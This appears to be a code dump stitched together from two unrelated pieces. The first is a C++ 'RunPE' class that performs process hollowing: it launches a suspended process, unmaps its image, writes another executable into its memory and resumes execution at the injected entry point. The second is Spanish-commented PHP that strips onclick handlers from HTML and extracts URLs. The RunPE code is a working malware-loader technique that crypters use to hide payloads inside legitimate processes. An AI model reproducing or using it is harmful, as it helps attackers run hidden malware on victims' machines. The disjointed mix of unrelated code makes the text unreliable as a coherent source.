/* RunPE */
typedef LONG (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
class runPE{
    public:
        void run(LPSTR szFilePath, PVOID pFile)
        {
              PIMAGE_DOS_HEADER IDH;
            PIMAGE_NT_HEADERS INH;
            PIMAGE_SECTION_HEADER ISH;
            PROCESS_INFORMATION PI;
            STARTUPINFOA SI;
            PCONTEXT CTX;
            PDWORD dwImageBase;
            NtUnmapViewOfSection xNtUnmapViewOfSection;
            LPVOID pImageBase;
            int Count;
            IDH = PIMAGE_DOS_HEADER(pFile);
            if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
            {
                INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
                if (INH->Signature == IMAGE_NT_SIGNATURE)
                {
                    RtlZeroMemory(&SI, sizeof(SI));
                    RtlZeroMemory(&PI, sizeof(PI));
                    if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
                    {
                        CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
                        CTX->ContextFlags = CONTEXT_FULL;
                        if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
                        {
                            ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);
                            if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)
                            {
                                xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
                                xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
                            }
                            pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
                            if (pImageBase)
                            {
                                WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
                                for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
                                {
                                    ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
                                    WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
                                }
                                WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
                                CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
                                SetThreadContext(PI.hThread, LPCONTEXT(CTX));
                                ResumeThread(PI.hThread);
                            }
                        }
                    }
                }
            }
            VirtualFree(pFile, 0, MEM_RELEASE);
        }
};
/* end RunPe */

$cadenaHTML = '

Aquí un desparrame de código HTML

onclick="return confirmar('http://www.laweb.es/Documentos/webflv1308325486171.flv', '0', 2);"

más código HTML

onclick="return confirmar('http://www.laweb.es/Documentos/webflv1308325540890.flv', '1', 2);"

más código HTML

onclick="return confirmar('http://www.laweb.es/Documentos/ARCHIVOS/d0ab59150_folder.png', '0', 1);"

más código HTML

onclick="return confirmar('http://www.laweb.es/Documentos/ARCHIVOS/d0ab59150_mensaje 128px.png', '1', 1);"


Aquí termina el resto de código HTML.
';

// Aquí compruebo que en el contenido recibo existe "onclick" y " );" " para proceder a seguir.

        if((stristr($contenidorecibido, 'onclick') == true) && (stristr($contenidorecibido, ');"') == true)) {


// Ahora cuenta el nº de "onclick" que ha encontrado para entrar en un For y recorrerlos.

            $contadorPartes = substr_count($contenidorecibido, 'onclick');
            for ($f = 0; $f < $contadorPartes; $f++) {

// En la variable $extraerContenido extraigo el contenido realizado desde el primer delimitador 'onclick="return ' al segundo delimitador que sería ');"' para almacenarlo en la misma variable.


            $extraerContenido = 'onclick="return '.getContentFromDelimiters($contenidorecibido, 'onclick="return ', ');"').');"';


// Por último reemplazo las cadenas encontradas "onclick" por vacías ya que así tengo una muestra visual de que se ha machacado todas. ( "Ha encontrado todos los 'onclick' ).

            $limpiador3 = str_replace($extraerContenido, '', $contenidorecibido);
            $contenidorecibido = $limpiador3;
            }
        }

function getContentFromDelimiters($string, $start, $end) {
        $pos = stripos($string, $start);
        $str = substr($string, $pos);
        $str_two = substr($str, strlen($start));
        $second_pos = stripos($str_two, $end);
        $str_three = substr($str_two, 0, $second_pos);
        $unit = trim($str_three);
        return $unit;
}

function tieneUrls($cuerpo){
stripslashes($cuerpo);
$regex = '$\b(https?|ftp|file)://[-A-Z0-9+&@#/%?=~_|!:,.;]*[-A-Z0-9+&@#/%=~_|]$i'; 
if (preg_match_all($regex, $cuerpo, $result, PREG_PATTERN_ORDER))
return $result;
}